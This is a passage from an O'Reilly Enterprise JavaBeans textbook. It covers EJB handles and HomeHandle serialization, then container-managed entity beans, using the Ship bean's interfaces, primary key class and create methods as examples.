A client could, for example, be using a stateful session bean to process an order when the process needs to be interrupted for some reason. Instead of losing all the work performed in the session, a handle can be obtained from the EJB object and the client application can be closed down. When the user is ready to continue the order, the handle can be used to obtain a reference to the stateful session EJB object. Note that this process is not as fault tolerant as using the handle or primary key of an entity object. If the EJB server goes down or crashes, the stateful session bean will be lost and the handle will be useless. It's also possible for the session bean to time out, which would cause the container to remove it from service so that it is no longer available to the client.

Changes to the container technology can invalidate both handles and primary keys. If you think your container technology might change, be careful to take this limitation into account. Primary keys obtain EJB objects by providing unique identification of instances in persistent data stores. A change in the persistence mechanism, however, can impact the integrity of the key.

5.2.5.6. EJB 1.1: HomeHandle

The javax.ejb.HomeHandle is similar in purpose to javax.ejb.Handle. Just as the Handle is used to store and retrieve references to EJB objects, the HomeHandle is used to store and retrieve remote references to EJB homes. In other words, the HomeHandle can be stored and later used to access an EJB home's remote reference the same way that a Handle can be serialized and later used to access an EJB object's remote reference. The HomeHandle and the method EJBHome.getHomeHandle() are new to EJB 1.1. The following code shows how the HomeHandle can be obtained, serialized, and used.

// Obtain cabin 100.
Context jndiContext = getInitialContext();

// EJB 1.0: Use native cast instead of narrow()
Object ref = jndiContext.lookup("CabinHome");
CabinHome home = (CabinHome)
    PortableRemoteObject.narrow(ref,CabinHome.class);

// Serialize the HomeHandle for the cabin bean.
HomeHandle homeHandle = home.getHomeHandle();
FileOutputStream fos = new FileOutputStream("handle.ser");
ObjectOutputStream outStream = new ObjectOutputStream(fos);
outStream.writeObject(homeHandle);
outStream.flush();
fos.close();
homeHandle = null;

// Deserialize the HomeHandle for the cabin bean.
FileInputStream fis = new FileInputStream("handle.ser");
ObjectInputStream inStream = new ObjectInputStream(fis);
homeHandle = (HomeHandle)inStream.readObject();
fis.close();

// EJB 1.0: Use native cast instead of narrow()
EJBHome home = homeHandle.getEJBHome();
CabinHome home2 = (CabinHome)
    PortableRemoteObject.narrow(home,CabinHome.class);

5.2.6. Inside the Handle

Different vendors define their concrete implementations of the EJB handle differently. However, thinking about a hypothetical implementation of handles will give you a better understanding of how they work. In this example, we define the implementation of a handle for an entity bean. Our implementation encapsulates the JNDI lookup and use of the home's findByPrimaryKey() method so that any change that invalidates the key invalidates preserved handles that depend on that key. Here's the code for our hypothetical implementation of a Handle:

package com.titan.cabin;

import javax.naming.InitialContext;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.ejb.EJBObject;
import javax.ejb.Handle;
import java.rmi.RemoteException;
import java.util.Properties;

public class VendorX_CabinHandle
    implements javax.ejb.Handle, java.io.Serializable {

    private CabinPK primary_key;
    private String home_name;
    private Properties jndi_properties;

    public VendorX_CabinHandle(CabinPK pk, String hn, Properties p) {
        primary_key = pk;
        home_name = hn;
        jndi_properties = p;
    }

    public EJBObject getEJBObject() throws RemoteException {
      try {
        Context ctx = new InitialContext(jndi_properties);

       // EJB 1.0: Use native cast instead of narrow()
       Object ref = ctx.lookup(home_name);
       CabinHome home =(CabinHome)
           PortableRemoteObject.narrow(ref,CabinHome.class);

       return home.findByPrimaryKey(primary_key);
      } catch (javax.ejb.FinderException fe) {
            throw new RemoteException("Cannot locate EJB object",fe);
      } catch (javax.naming.NamingException ne) {
            throw new RemoteException("Cannot locate EJB object",ne);
      }
    }
}

The Handle is less stable than the primary key because it relies on the networking configuration and naming--the IP address of the EJB server and the JNDI name of the bean's home--to remain stable. If the EJB server's network address changes or the name used to identify the home changes, the handle becomes useless.

In addition, some vendors choose to implement a security mechanism in the handle that prevents its use outside the scope of the client application that originally requested it. How this mechanism would work is unclear, but the security limitation it implies should be considered before attempting to use a handle outside the client's scope.

Previous | Home | Next
5.1. Locating Beans with JNDI | Book Index | 6. Entity Beans
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Entity Beans (Enterprise JavaBeans)

 Enterprise JavaBeans Search this book

Chapter 6. Entity Beans

Contents:

Container-Managed Persistence
Bean-Managed Persistence
The Life Cycle of an Entity Bean

In Chapter 4, "Developing Your First Enterprise Beans", we started developing some simple enterprise beans, skipping over a lot of the details in the process. In this chapter, we'll take a thorough look at the process of developing entity beans. On the surface, some of this material may look familiar, but it is much more detailed and specific to entity beans.

Entity beans model business concepts that can be expressed as nouns. This is a rule of thumb rather than a requirement, but it helps in determining when a business concept is a candidate for implementation as an entity bean. In grammar school you learned that nouns are words that describe a person, place, or thing. The concepts of "person" and "place" are fairly obvious: a person bean might represent a customer or a passenger, and a place bean might represent a city or a port-of-call. Similarly, entity beans often represent "things": real-world objects like ships, cabins, and so on. A bean can even represent a fairly abstract "thing," such as a ticket or a reservation. Entity beans describe both the state and behavior of real-world objects and allow developers to encapsulate the data and business rules associated with specific concepts; a cabin bean encapsulates the data and business rules associated with a cabin, and so on. This makes it possible for data associated with a concept to be manipulated consistently and safely.

In Titan's cruise ship business, we can identify hundreds of business concepts that are nouns and therefore could conceivably be modeled by entity beans. We've already seen a simple Cabin bean in Chapter 4, "Developing Your First Enterprise Beans", and we'll develop a Ship bean in this chapter. Titan could clearly make use of a PortOfCall bean, a Passenger bean, and many others. Each of these business concepts represents data that needs to be tracked and possibly manipulated. Entities really represent data in the database, so changes to an entity bean result in changes to the database.

There are many advantages to using entity beans instead of accessing the database directly. Utilizing entity beans to objectify data provides programmers with a simpler mechanism for accessing and changing data. It is much easier, for example, to change a ship's name by calling ship.setName() than to execute an SQL command against the database. In addition, objectifying the data using entity beans also provides for more software reuse. Once an entity bean has been defined, its definition can be used throughout Titan's system in a consistent manner. The concept of ship, for example, is used in many areas of Titan's business, including booking, scheduling, and marketing. A Ship bean provides Titan with one complete way of accessing ship information, and thus it ensures that access to the information is consistent and simple. Representing data as entity beans makes development easier and more cost effective.

When a new bean is created, a new record must be inserted into the database and a bean instance must be associated with that data. As the bean is used and its state changes, these changes must be synchronized with the data in the database: entries must be inserted, updated, and removed. The process of coordinating the data represented by a bean instance with the database is called persistence.

There are two types of entity beans, and they are distinguished by how they manage persistence. Container-managed beans have their persistence automatically managed by the EJB container. The container knows how a bean instance's fields map to the database and automatically takes care of inserting, updating, and deleting the data associated with entities in the database. Beans using bean-managed persistence do all this work explicitly: the bean developer must write the code to manipulate the database. The EJB container tells the bean instance when it is safe to insert, update, and delete its data from the database, but it provides no other help. The bean instance does all the persistence work itself.

The next two sections will describe how EJB works with container-managed and bean- managed entity beans.

6.1. Container-Managed Persistence

Container-managed entity beans are the simplest to develop because they allow you to focus on the business logic, delegating the responsibility of persistence to the EJB container. When you deploy the bean, you identify which fields in the entity are managed by the container and how they map to the database. Once you have defined the fields that will be automatically managed and how they map to the database, the container generates the logic necessary to save the bean instance's state automatically.

Fields that are mapped to the database are called container-managed fields. Container-managed fields can be any Java primitive type or serializable objects. Most beans will use Java primitive types when persisting to a relational database, since it's easier to map Java primitives to relational data types.

NOTE

EJB 1.1 also allows references to other beans to be container-managed fields. The EJB vendor must support converting bean references (remote or home interface types) from remote references to something that can be persisted in the database and converted back to a remote reference automatically. Vendors will normally convert remote references to primary keys, Handle or HomeHandle objects, or some other proprietary pointer type, which can be used to preserve the bean reference in the database. The container will manage this conversion from remote reference to persistent pointer and back automatically.

The advantage of container-managed persistence is that the bean can be defined independently of the database used to store its state. Container-managed beans can take advantage of a relational database or an object-oriented database. The bean state is defined independently, which makes the bean more reusable and flexible across applications.

The disadvantage of container-managed beans is that they require sophisticated mapping tools to define how the bean's fields map to the database. In some cases, this may be a simple matter of mapping each field in the bean instance to a column in the database or of serializing the bean to a file. In other cases, it may be more difficult. The state of some beans, for example, may be defined in terms of a complex relational database join or mapped to some kind of legacy system such as CICS or IMS.

In Chapter 4, "Developing Your First Enterprise Beans", we developed our first container-managed bean, the Cabin bean. During the development of the Cabin bean, we glossed over some important aspects of container-managed entity beans. In this section, we will create a new container-managed entity bean, the Ship bean, but this time we will examine it in detail.

Let's start by thinking about what we're trying to do. An enormous amount of data would go into a complete description of a ship, but for our purposes we will limit the scope of the data to a small set of information. For now, we can say that a ship has the following characteristics or attributes: its name, passenger capacity, and tonnage (i.e., size). The Ship bean will encapsulate this data; we'll need to create a SHIP table in our database to hold this data. Here is the definition for the SHIP table expressed in standard SQL:

CREATE TABLE SHIP (ID INT PRIMARY KEY, NAME CHAR(30), CAPACITY INT,
TONNAGE DECIMAL(8,2))

When defining any bean, we start by coding the remote interfaces. This focuses our attention on the most important aspect of any bean: its business purpose. Once we have defined the interfaces, we can start working on the actual bean definition.

6.1.1. The Remote Interface

For the Ship bean we will need a Ship remote interface. This interface defines the business methods that clients will use to interact with the bean. When defining the remote interface, we will take into account all the different areas in Titan's system that may want to use the ship concept. Here is the remote interface for Ship:

package com.titan.ship;

import javax.ejb.EJBObject;
import java.rmi.RemoteException;

public interface Ship extends javax.ejb.EJBObject {
    public String getName() throws RemoteException;
    public void setName(String name) throws RemoteException;
    public void setCapacity(int cap) throws RemoteException;
    public int getCapacity() throws RemoteException;
    public double getTonnage() throws RemoteException;
    public void setTonnage(double tons) throws RemoteException;
}

We put this interface into the com.titan.ship package, which we will use for all the components of the Ship bean. This means that the code should reside in a development directory named dev/com/titan/ship. This is the same convention for package and directory names that we used for the Cabin bean.

6.1.1.1. Set and get methods

The Ship definition uses a series of accessor methods whose names begin with set and get. This is not a required signature pattern, but it is the naming convention used by most Java developers when obtaining and changing the values of object attributes or fields. These methods are often referred to as setters and getters (a.k.a. mutators and accessors) and the attributes that they manipulate can be calledproperties.[1] These properties should be defined independently of the anticipated storage structure of the data. In other words, you should design the remote interface to model the business concepts, not the underlying data. Just because there's a capacity property doesn't mean that there has to be a capacity field in the bean or the database; the getCapacity() method could conceivably compute the capacity from a list of cabins, by looking up the ship's model and configuration, or with some other algorithm.

[1]Although EJB is different from its GUI counterpart, JavaBeans, the concept of accessors and properties are similar. You can learn about this idiom by reading Developing Java Beans™by Rob Englander (O'Reilly).

Defining entity properties according to the business concept and not the underlying data is not always possible, but you should try to employ this strategy whenever you can. The reason is two-fold. First, the underlying data doesn't always clearly define the business purpose or concept being modeled by the entity bean. Remote interfaces will be used by developers who know the business, not the database configuration. It is important to them that the entity bean reflect the business concept. Second, defining the properties of the entity bean independent of the data allows the bean and data to evolve separately. This is important because it allows a database implementation to change over time; it also allows for new behavior to be added to the entity bean as needed. If the bean's definition is independent of the data source, the impact of these evolutions is limited.

6.1.2. The Primary Key

A primary key is an object that uniquely identifies an entity bean according to the bean type, home interface, and container context from which it is used.

NOTE

EJB 1.1: In container-managed persistence, a primary key can be a serializable object defined specifically for the bean by the bean developer, or its definition can be deferred until deployment. We will examine deployer-defined primary keys later. For now we will consider primary keys defined by the bean developer.

For our purposes, we will define all primary keys as serializable classes with names that match the pattern BeanName PK. Therefore, the primary key for the Ship bean will be ShipPK. Unlike the remote interface and the home interface, the primary key is a class, and its definition is normally bound to the bean class definition, which we have not yet addressed. Peeking ahead, however, we can make a preliminary definition of a primary key that wraps an integer value called id. Later, we will have to make sure that this field has a corresponding field in the bean class with a matching identifier (name) and data type.

package com.titan.ship;

import java.io.Serializable;

public class ShipPK implements java.io.Serializable {

    public int id;

    public ShipPK() {}
    public ShipPK(int value) {
        id = value;
    }

    public boolean equals(Object obj) {
        if (obj == null || !(obj instanceof ShipPK))
            return false;
        else if (((ShipPK)obj).id == id)
            return true;
        else
            return false;
    }
    public int hashCode(){
      return id;
    }

    public String toString(){
      return String.valueOf(id);
    }
}

The primary key defines attributes that can be used to locate a specific bean in the database. In this case, we need only one attribute, id, but in other cases, a primary key may have several attributes, all of which uniquely identify a bean's data.

As discussed in Chapter 4, "Developing Your First Enterprise Beans", primary keys should override the equals() and hashCode() methods of Object to ensure that these method behave properly when invoked. For example, two ShipPK objects with the same id value may not evaluate to the same hash code unless the hashCode() method is overridden as shown in the previous code example. This can cause problems if you store primary keys in a hash table and expect that primary keys for the same entity will evaluate to the same position in the table. In addition, we have overridden the toString() method to return a meaningful value. (The default implementation defined in Object returns the class name of the object appended to the object identity for that name space. Our implementation simply returns the String value of the id, which has more meaning.)

The primary key for the Ship bean is fairly simple. More complex keys--ones with multiple values--will require more intelligent hash code algorithms to ensure as few collisions in a hash table as possible.

The ShipPK class also defines two constructors: a no-argument constructor and an overloaded constructor that sets the id field. The overloaded constructor is a convenience method that reduces the number of steps required to create a primary key. The no-argument constructor is required for container-managed persistence. When a new bean is created, the container automatically instantiates the primary key using the Class.newInstance() method, and populates it from the bean class's container-managed fields. A no-argument constructor must exist in order for that to work. You'll learn more about the relationship between the primary key and the bean class later in this section.

The EJB specification requires that all fields in the primary key class be declared public. This requirement ensures that the container can read the fields at runtime via Java reflection. Some EJB servers may be able to read fields with more restrictive access modifiers depending on how the security manager is designed, but making the fields public ensures that fields are always accessible, regardless of the server's vendor. Portability is the key reason that the primary key's fields must be public.

Because the primary key will be used in remote invocations, it must also adhere to the restrictions imposed by Java RMI-IIOP. These are addressed in Chapter 5, "The Client View", but for most cases, you just need to make the primary key serializable.

Both EJB 1.0 and EJB 1.1 specifications allow two types of primary keys: compound and single-field keys. In either case, the primary key must fulfill two criteria: it must be a valid Java RMI type ( Java RMI-IIOP value type for EJB 1.1), so it must be serializable; and it must implement equals() and hashCode() methods appropriately.

6.1.2.1. Compound primary keys

A compound primary key is a class that implements Serializable and contains one or more public fields whose names and types match a subset of the container-managed fields in the bean class. ShipPK is a typical example of a compound primary key. In this class, the ShipPK.id field must map to a ShipBean.id field of type int in the ShipBean class. A compound key may have several fields that map to corresponding fields in the bean class.

6.1.2.2. Single-field key

The String class and the wrapper classes for the primitive data types can also be used as primary keys. In the case of the ShipBean, for example, we could have specified an Integer type as the primary key:

public interface ShipHome extends javax.ejb.EJBHome {
    public Ship findByPrimaryKey(java.lang.Integer key)
        throws FinderException, RemoteException;
    ...
}

In this case, there is no explicit primary key class. However, there must still be an identifiable primary key within the bean class itself. That is, there must be a single field in the bean class with the appropriate type. For the ShipBean, we would need to change the id field to be of type java.lang.Integer.

Although primary keys can be primitive wrappers (Integer, Double, Long, etc.), primary keys cannot be primitive types (int, double, long, etc.); some of the semantics of EJB interfaces prohibit the use of primitives. For example, the EJBObject.getPrimaryKey() method returns an Object type, thus forcing primary keys to be Objects. As you learn more about the EJB, you'll discover other reasons that primitives can't be used for single-field keys.

EJB 1.0 support for single-field keys

In EJB 1.0, the specification is unclear about whether or not single-field types like String or primitive wrapper types are supported. Some EJB 1.0 servers support them, while others only support compound primary keys. Consult your vendor documentation to be sure, or use compound primary keys. When single-field types are supported, there must be only one container-managed field of that type in the bean class. Otherwise, the container doesn't know to which field it should map the primary key.

EJB 1.1 support for single-field keys

EJB 1.1 is unambiguous in its support for single-field keys. With single-field types, you cannot identify the matching field in the bean class by name, since the primary key is not a named field. Instead, you use the <primkey-field> tag in the deployment descriptor to specify one of the bean's container-managed fields as the primary key:

<ejb-jar>
 <enterprise-beans>
 <entity>
    <primkey-field>id</primkey-field>
  ...
</ejb-jar>

The primkey-field (single-field keys) is not used in the Ship bean example. The Ship bean uses primary key class, ShipPK, but the use of primkey-field is explored in more Chapter 10, "XML Deployment Descriptors".

6.1.2.3. EJB 1.1: Undefined primary keys

One objective of EJB is to create a market for third-party components that can be used independently. Container-managed persistence beans provide an excellent model for a component market because they make few assumptions about the underlying database. One problem with container-managed persistence in EJB 1.0 was that the bean developer had to define the primary key before the bean was deployed. In turn, this requirement forced the developer to make assumptions about the environment in which the bean would be used, and thus it limited the bean's portability across databases. For example, a relational database will use a set of columns in a table as the primary key, to which bean fields map nicely. An object database, however, uses a completely different mechanism for indexing objects to which a primary key may not map very well. The same is true for legacy systems and Enterprise Resource Planing (ERP) systems. To overcome this problem, EJB 1.1 allows the primary key to remain undefined until the bean is deployed. An undefined primary key allows the deployer to choose a system-specific key at deployment time. An object database may generate an Object ID, while an ERP system may generate some other primary key. These keys are generated by the database or backend system automatically. This may require that the CMP bean be altered or extended to support the key, but this is immaterial to the bean developer; she concentrates on the business logic of the bean and leaves the indexing to the container.

To facilitate an undefined primary key, the bean class and its interfaces use the Object type to identify the primary key. The following code shows how the home interface and bean class would be defined for a container-managed bean with an undefined primary key:

public interface ShipHome extends EJBHome {
    public Ship findByPrimaryKey(java.lang.Object primaryKey)
        throws RemoteException, FinderException;
...
}
public class ShipBean extends EntityBean {
    public String name;
    public int capacity;
    public double tonnage;

    public java.lang.Object ejbCreate() {
    ...
    }
...
}

The use of an undefined primary key means that the bean developer and application developer (client code) must work with a java.lang.Object type and not a specific primary key type, which can be limiting.

6.1.3. The Home Interface

The home interface of any entity bean is used to create, locate, and remove objects from EJB systems. Each entity bean type has its own home interface. The home interface defines two basic kinds of methods: zero or more create methods and one or more find methods.[2] The create methods act like remote constructors and define how new Ship beans are created. (In our home interface, we only provide a single create() method.) The find method is used to locate a specific ship or ships.

[2]Chapter 9, "Design Strategies" explains when you should not define any create methods in the home interface.

The following code contains the complete definition of the ShipHome interface:

package com.titan.ship;

import javax.ejb.EJBHome;
import javax.ejb.CreateException;
import javax.ejb.FinderException;
import java.rmi.RemoteException;
import java.util.Enumeration;

public interface ShipHome extends javax.ejb.EJBHome {

    public Ship create(int id, String name, int capacity, double tonnage)
        throws RemoteException,CreateException;
    public Ship create(int id, String name)
        throws RemoteException,CreateException;
    public Ship findByPrimaryKey(ShipPK primaryKey)
        throws FinderException, RemoteException;
    public Enumeration findByCapacity(int capacity)
        throws FinderException, RemoteException;
}

Enterprise JavaBeans specifies that create methods in the home interface must throw the javax.ejb.CreateException . In the case of container-managed persistence, the container needs a common exception for communicating problems experienced during the create process.

6.1.3.1. The find methods

With container-managed persistence, implementations of the find methods are generated automatically at deployment time. Different EJB container vendors employ different strategies for defining how the find methods work. Regardless of the implementation, when you deploy the bean, you'll need to do some work to define the rules of the find method. findByPrimaryKey() is a standard method that all home interfaces for entity beans must support. This method locates beans based on the attributes of the primary key. In the case of the Ship bean, the primary key is the ShipPK class, which has one attribute, id. With relational databases, the primary key attributes usually map to a primary key in a table. In the ShipPK, for example, the id attribute maps to the ID primary key column in the SHIP table. In an object-oriented database, the primary key's attributes might point to some other unique identifier.

EJB allows you to specify other find methods in the home interface, in addition to findByPrimaryKey(). All find methods must have names that match the pattern find lookup-type. So, for example, if we were to include a find method based on the Ship bean's capacity, it might be called findByCapacity(intcapacity). In container-managed persistence, any find method included in the home interface must be explained to the container. In other words, the deployer needs to define how the find method should work in terms that the container understands. This is done at deployment time, using the vendor's deployment tools and syntax specific to the vendor.

Find methods return either the remote-interface type appropriate for that bean, or an instance of java.util.Enumeration.

NOTE

The EJB 1.1 specification also allows multiple references to be returned as a java.util.Collection type, which provides more flexibility to application and bean developers.

Specifying a remote-interface type indicates that the method only locates one bean. The findByPrimaryKey() method obviously returns one remote reference because there is a one-to-one relationship between a primary key's value and an entity. The findByCapacity(intcapacity) method, however, could return several remote references, one for every ship that has a capacity equal to the parameter capacity. The possibility of returning several remote references requires the use of the Enumeration type or a Collection type (EJB 1.1 only). Enterprise JavaBeans specifies that any find method used in a home interface must throw the javax.ejb.FinderException . Find methods that return a single remote reference throw a FinderException if an application error occurs and a javax.ejb.ObjectNotFoundException if a matching bean cannot be found. The ObjectNotFoundException is a subtype of FinderException and is only thrown by find methods that return single remote references.

EJB 1.1 multi-entity find methods

Find methods that return an Enumeration or Collection type (multi-entity finders) return an empty collection (not a null reference) if no matching beans can be found or throw a FinderException if an application error occurs.

EJB 1.0 multi-entity find methods

Find methods that return an Enumeration return null if no matching beans can be found or throw a FinderException if a failure in the request occurs.

How find methods are mapped to the database for container-managed persistence is not defined in the EJB specification; it is vendor-specific. Consult the documentation provided by your EJB vendor to determine how find methods are defined at deployment time.

6.1.4. Java RMI Return Types, Parameters, and Exceptions

Both the remote interface and home interface extend, indirectly, the java.rmi.Remote interface. Remote interfaces must follow several guidelines, some of which apply to the return types and parameters that are allowed. To be compatible, the actual return types and parameter types used in the java.rmi.Remote interfaces must be primitives, String types, java.rmi.Remote types, or serializable types.

There is a difference between declared types, which are checked by the compiler, and actual types, which are checked by the runtime. The types which may be used in Java RMI are actual types, which are either primitive types, object types implementing (even indirectly) java.rmi.Remote, or object types implementing (even indirectly) java.io.Serializable. The java.util.Enumeration type returned by multi-entity find methods is, for example, is a perfectly valid return type for a remote method, provided that the concrete class implementing Enumeration is Serializable. So Java RMI has no special rules regarding declared return types or parameter types. At runtime, a type that is not a java.rmi.Remote type is assumed to be serializable; if it is not, an exception is thrown. The actual type passed cannot be checked by the compiler, it must be checked at the runtime.

Here is a list of the types that can be passed as parameters or returned in Java RMI:

  • Primitives: byte, boolean, char, short, int, long, double, float

  • Java serializable types: any class that implements or any interface that extends java.io.Serializable

  • Java RMI remote types: any class that implements or any interface that extends java.rmi.Remote

All methods defined in remote interfaces must throw java.rmi.RemoteException. A RemoteException is thrown by the underlying system (the EJB object) when a communication error or system failure of some kind occurs. Although methods in the remote interface and home interface are required by the compiler to declare that they throw RemoteException, it's not required that the matching methods in the bean class actually throw it.

6.1.5. The ShipBean Class

No bean is complete without itsimplementation class. Now that we have defined the Ship bean's remote interfaces and primary key, we are ready to define the ShipBean itself. The ShipBean will reside on the EJB server. When a client application or bean invokes a business method on the Ship bean's remote interface, that method invocation is received by the EJB object, which then delegates it to the ShipBean.

When developing any bean, we have to use the bean's remote interfaces as a guide. Business methods defined in the remote interface must be duplicated in the bean class. In container-managed beans, the create methods of the home interface must also have matching methods in the bean class according to the EJB specification. Finally, callback methods defined by the javax.ejb.EntityBean interface must be implemented. Here is the code for the ShipBean class. We have omitted the ejbCreate() method, which will be discussed later because it's different in EJB 1.0 and EJB 1.1:

package com.titan.ship;

import javax.ejb.EntityContext;

public class ShipBean implements javax.ejb.EntityBean {
    public int id;
    public String name;
    public int capacity;
    public double tonnage;

    public EntityContext context;

    /*************************************
    *    ejbCreate() method goes here
    *************************************/

    public void ejbPostCreate(int id, String name, int capacity,
                              double tonnage){
        ShipPK pk = (ShipPK)context.getPrimaryKey();
        // Do something useful with the primary key.
    }

    public void ejbPostCreate(int id, String name) {
        Ship myself = (Ship)context.getEJBObject();
        // Do something useful with the EJBObject reference.
    }
    public void setEntityContext(EntityContext ctx) {
        context = ctx;
    }
    public void unsetEntityContext() {
        context = null;
    }
    public void ejbActivate() {}
    public void ejbPassivate() {}
    public void ejbLoad() {}
    public void ejbStore() {}
    public void ejbRemove() {}

    public String getName() {
        return name;
    }
    public void setName(String n) {
        name = n;
    }
    public void setCapacity(int cap) {
        capacity = cap;
    }
    public int getCapacity() {
        return capacity;
    }
    public double getTonnage() {
        return tonnage;
    }
    public void setTonnage(double tons) {
        tonnage = tons;
    }
}

The Ship bean defines four persistent fields: id, name, capacity, and tonnage. No mystery here: these fields represent the persistent state of the Ship bean; they are the state that defines a unique ship entity in the database. The Ship bean also defines another field, context, which holds the bean's EntityContext. We'll have more to say about this later.

The set and get methods are the business methods we defined for the Ship bean; both the remote interface and the bean class must support them. This means that the signatures of these methods must be exactly the same, except for the javax.ejb.RemoteException. The bean class's business methods aren't required to throw the RemoteException. This makes sense because these methods aren't actually invoked remotely--they're invoked by the EJB object. If a communication problem occurs, the container will throw the RemoteException for the bean automatically.

6.1.6. Implementing the javax.ejb.EntityBean Interface

To make the ShipBean an entity bean, it must implement the javax.ejb.EntityBean interface. The EntityBean interface contains a number of callback methods that the container uses to alert the bean instance of various runtime events:

public interface javax.ejb.EntityBean extends javax.ejb.EnterpriseBean {
    public abstract void ejbActivate() throws RemoteException;
    public abstract void ejbPassivate() throws RemoteException;
    public abstract void ejbLoad() throws RemoteException;
    public abstract void ejbStore() throws RemoteException;
    public abstract void ejbRemove() throws RemoteException;
    public abstract void setEntityContext(EntityContext ctx)
        throws RemoteException;
    public abstract void unsetEntityContext() throws RemoteException;
}

Each callback method is called at a specific time during the life cycle of a ShipBean. In many cases, container-managed beans, like the ShipBean, don't need to do anything when a callback method is invoked. Container-managed beans have persistence managed automatically, so many of the resources and logic that might be managed by these methods are already handled by the container. Except for the EntityContext methods, we will leave the discussion of these methods for the section on bean-managed persistence. This version of the Ship bean has empty implementations for its callback methods. It is important to note, however, that even a container-managed bean can take advantage of these callback methods if needed; we just don't need them in our ShipBean at this time.

6.1.7. The EntityContext

The first method called after a bean instance is created is setEntityContext(). As the method signature indicates, this method passes the bean instance a reference to a javax.ejb.EntityContext, which is really the bean instance's interface to the container. The definition of EntityContext is as follows:

public interface javax.ejb.EntityContext extends javax.ejb.EJBContext {
    public abstract EJBObject getEJBObject() throws IllegalStateException;
    public abstract Object getPrimaryKey() throws IllegalStateException;
}

The setEntityContext() method is called prior to the bean instance's entry into the instance pool. In Chapter 3, "Resource Management and the Primary Services", we discussed the instance pool that EJB containers maintain, where instances of entity and stateless session beans are kept ready to use. EntityBean instances in the instance pool are not associated with any data in the database; their state is not unique. When a request for a specific entity is made by a client, an instance from the pool is chosen, populated with data from the database, and assigned to service the client.

When an entity from the pool is assigned to service a client, the instance is associated with or "wrapped" by an EJB object. The EJB object provides the remote reference, or stub, that implements the bean's remote interface and is used by the client. When the client invokes methods on the stub, the EJB object receives the message and delegates it to the bean instance. The EJB object protects the bean instance from direct contact with the client by intervening in business method invocations to ensure that transactions, security, concurrency, and other primary services are managed appropriately.

The EJB object also maintains the bean instance's identity, which is available from the EntityContext. The EntityContext allows the bean instance to obtain its own primary key and a remote reference to the EJB object. Containers often use a swapping strategy to get maximum use of bean instances. Swapping doesn't impact the client reference to the stub because the stub communicates with the EJB object, not the bean instance. So, as bean instances are assigned to and removed from association with the EJB object server, the server maintains a constant connection to the stub on the client.

When a method is invoked on the EJB object via the stub, a bean instance from the pool is populated with the appropriate data and assigned to the EJB object. When a bean instance is assigned to an EJB object, its EntityContext changes so that the primary key and EJB object obtainable through the EntityContext match the EJB object the bean instance is currently associated with. Because the bean instance's identity changes every time the bean is swapped into a different EJB object, the values returned by the EntityContext change depending on which bean instance it is associated with.

At the end of the bean instance's life, after the bean instance is removed permanently from the instance pool and before the bean instance is garbage collected, the unsetEntityContext() method is called, indicating that the bean instance's EntityContext is no longer implemented by the container.

6.1.8. The Create Methods

When a create method is invoked on the home interface, the EJB home delegates it to the bean instance in the same way that business methods on the remote interface are handled. This means that we need an ejbCreate() method in the bean class that corresponds to each create() method in the home interface. Here are the ejbCreate() methods that we omitted from the source code for the ShipBean class. Note the difference between EJB 1.0 and 1.1:

// For EJB 1.1, returns a ShipPK
public ShipPK ejbCreate(int id, String name, int capacity, double tonnage) {
        this.id = id;
        this.name = name;
        this.capacity = capacity;
        this.tonnage = tonnage;
        return null;
}
public ShipPK ejbCreate(int id, String name) {
        this.id = id;
        this.name = name;
        capacity = 0;
        tonnage = 0;
}

// For EJB 1.0: returns void
public void ejbCreate(int id, String name, int capacity, double tonnage) {
        this.id = id;
        this.name = name;
        this.capacity = capacity;
        this.tonnage = tonnage;
}
public void ejbCreate(int id, String name) {
        this.id = id;
        this.name = name;
        capacity = 0;
        tonnage = 0;
}

The ejbCreate() method returns void in EJB 1.0 and a null value of type ShipPK for the bean's primary key in EJB 1.1. The end result is the same: in both EJB 1.0 and EJB 1.1, the return value of the ejbCreate() method for a container-managed bean is ignored. EJB 1.1 changed its return value from void to the primary key type to facilitate subclassing; the change was made so that it's easier for a bean-managed bean to extend a container-managed bean. In EJB 1.0, this is not possible because Java won't allow you to overload methods with different return values. By changing this definition so that a bean-managed bean can extend a container-managed bean, the new specification allows vendors to support container-managed persistence by extending the container-managed bean with a generated bean-managed bean--a fairly simple solution to a difficult problem. Bean developers can also take advantage of inheritance to change an existing CMP bean into a BMP bean, which may be needed to overcome difficult persistence problems.

For every create() method defined in the entity bean's home interface, there must be a corresponding ejbPostCreate() method in the bean instance class. In other words, ejbCreate() and ejbPostCreate() methods occur in pairs with matching signatures; there must be one pair for each create() method defined in the home interface.

6.1.8.1. ejbCreate( )

In a container-managed bean, the ejbCreate() method is called just prior to writing the bean's container-managed fields to the database. Values passed in to the ejbCreate() method should be used to initialize the fields of the bean instance. Once the ejbCreate() method completes, a new record, based on the container-managed fields, is written to the database.

Each ejbCreate() method must have parameters that match a create() method in the home interface. The ShipHome, for example, specifies two create() methods. According to the EJB specification, our ShipBean class must therefore have two ejbCreate() methods that match the parameters of the ShipHomecreate() methods. If you look at the ShipBean class definition and compare it to the ShipHome definition, you can see how the parameters for the create methods match exactly in type and sequence. This enables the container to delegate the create() method on the home interface to the proper ejbCreate() method in the bean instance.

The EntityContext maintained by the bean instance does not provide it with the proper identity until the ejbCreate() method has completed. This means that during the course of the ejbCreate() method, the bean instance doesn't have access to its primary key or EJB object.[3] The EntityContext does, however, provide the bean with information about the caller's identity, access to its EJB home object, and properties.

[3] Information that is not specific to the bean identity, such as the environment properties, may be available during the ejbCreate().

NOTE

In EJB 1.1, the bean can also use the JNDI environment naming context to access other beans and resource managers like javax.sql.DataSource.

The bean developer must ensure that the ejbCreate() method sets the persistent fields that correspond to the fields of the primary key. When a primary key is defined for a container-managed bean, it must define fields that match one or more of the container-managed (persistent) fields in the bean class. The fields must match with regard to type and name exactly. At runtime, the container will assume that fields in the primary key match some or all of the fields in the bean class. When a new bean is created, the container will use those container- managed fields in the bean class to instantiate and populate a primary key for the bean automatically. In the case of the ShipBean, the container-managed id field corresponds to the ShipPK.id field. When the record is inserted, the ShipBean.id field is used to populate a newly instantiated ShipPK object.

Once the bean's state has been populated and its EntityContext established, an ejbPostCreate() method is invoked. This method gives the bean an opportunity to perform any post-processing prior to servicing client requests.

6.1.8.2. ejbPostCreate( )

The bean identity isn't available to the bean during the call to ejbCreate(), but is available in the ejbPostCreate() method. This means that the bean can access its own primary key and EJB object, which can be useful for initializing the bean instance prior to servicing business method invocations. You can use the ejbPostCreate() method to perform any additional initialization. Each ejbPostCreate() method must have the same parameters as its corresponding ejbCreate() method. The ejbPostCreate() method returns void.

